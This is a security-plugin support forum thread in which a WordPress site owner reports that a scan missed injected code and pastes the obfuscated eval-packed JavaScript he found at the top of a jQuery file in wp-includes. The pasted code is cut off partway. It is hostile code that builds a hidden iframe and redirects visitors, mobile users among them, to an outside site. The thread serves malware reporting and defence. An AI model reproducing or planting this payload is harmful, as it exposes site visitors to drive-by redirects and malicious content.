Scan didn't detect Eval base64
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I did a scan and Wordfence didn’t detect eval base64. I found it manually myself. Any ideas why this wouldn’t have been found? It was in the wp-includes folder
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Hi,
If you can provide some more info, I’ll do some digging and see what I can find.
What files were infected? Was it a theme? Are you on a shared host?
Thanks!
BrianHi Brian,
It was a JS file ==> /wp-includes/jquery/(filename).js
The site is on a dedicated server so not a shared host. Not a theme file. The top of the file had this in it:
/*b534e251c42006533d5cbd60af31080a*/eval(function(p,a,c,k,e,d){e=function(c){return c};if(!”.replace(/^/,String)){while(c–){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(’14 113=225(39(){11(15.57!=125&&43 15.57!=”42″){226(113);11(43 23[“99″]==”42”){23[“99″]=1;14 79=(73()&&130());14 109=!79&&!!23.227&&23.31.224===”223 219.”;14 89=-1;14 36=”220://221.222/228″;11(68()&&89==1){11((31.51.95(/229/19))||(31.51.95(/235/19))){78.236(36)}22{23.78=36;15.78=36}}22{11((79&&!109&&!68())){14 59=”<74 237=\\”234:233;230:-231;\\”><128 232=\\”123\\” 218=\\””+36+”\\” 217=\\”123\\”></128></74>”;14 34=15.204(“74″);11(34.119==0){15.57.44=15.57.44+59}22{14 94=34.119;14 58=205.206((94/2));34[58].44=34[58].44+59}}}}127()}},100);39 127(){14 63=”126″;11(63!=”126″){14 35=15.203(63);11(43 35!=42&&35!=125){35.202=””;198 35}}};39 130(){11(15.29&&!15.199){16 24}22 11(15.29&&!23.200){16 24}22 11(15.29&&!15.201){16 24}22 11(15.29&&!15.207){16 24}22 11(15.29&&!23.208){16 24}22 11(15.29){16 24}22 11(43 31.214!=”42″&&!15.29&&73()){16 24}22{16 82}}39 73(){14 17=23.31.51;14 55=17.27(“215 “);11(55>0){16 71(17.64(55+5,17.27(“.”,55)),10)}14 97=17.27(“216/”);11(97>0){14 69=17.27(“213:”);16 71(17.64(69+3,17.27(“.”,69)),10)}14 48=17.27(“212/”);11(48>0){16 71(17.64(48+5,17.27(“.”,48)),10)}16 82}39 68(){14 75=23.31.51.209();11(/(210|211\\66+|238).+107|239|267\\/|268|269|266|265|197|262|263|90(264|104)|121|270|271 |277|278|279|107.+276|275|272 25(273|274)19|260( 88)?|259|41(246|247)\\/|248|245|244|240(4|6)0|241|242|122\\.(243|249)|250|256|257 258|255|254/19.111(75)||/251|252|253|280|174|50[1-6]19|142|144|33 115|148|114(134|110|56\\-)|133(160|161)|91(156|101|93)|150|154(153|72|152)|151|92(155|76)|159(77|157)|158|162(147|\\-25|136 |56 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/*b534e251c42006533d5cbd60af31080a*//*******The scan didn’t find this, I ended up fiding this digging through file and searching .
Mike
Hi Mike,
Will you please send the file to samples@wordfence.com and include that it was not detected in the scan? That will get in the queue to get evaluated.
-Brian
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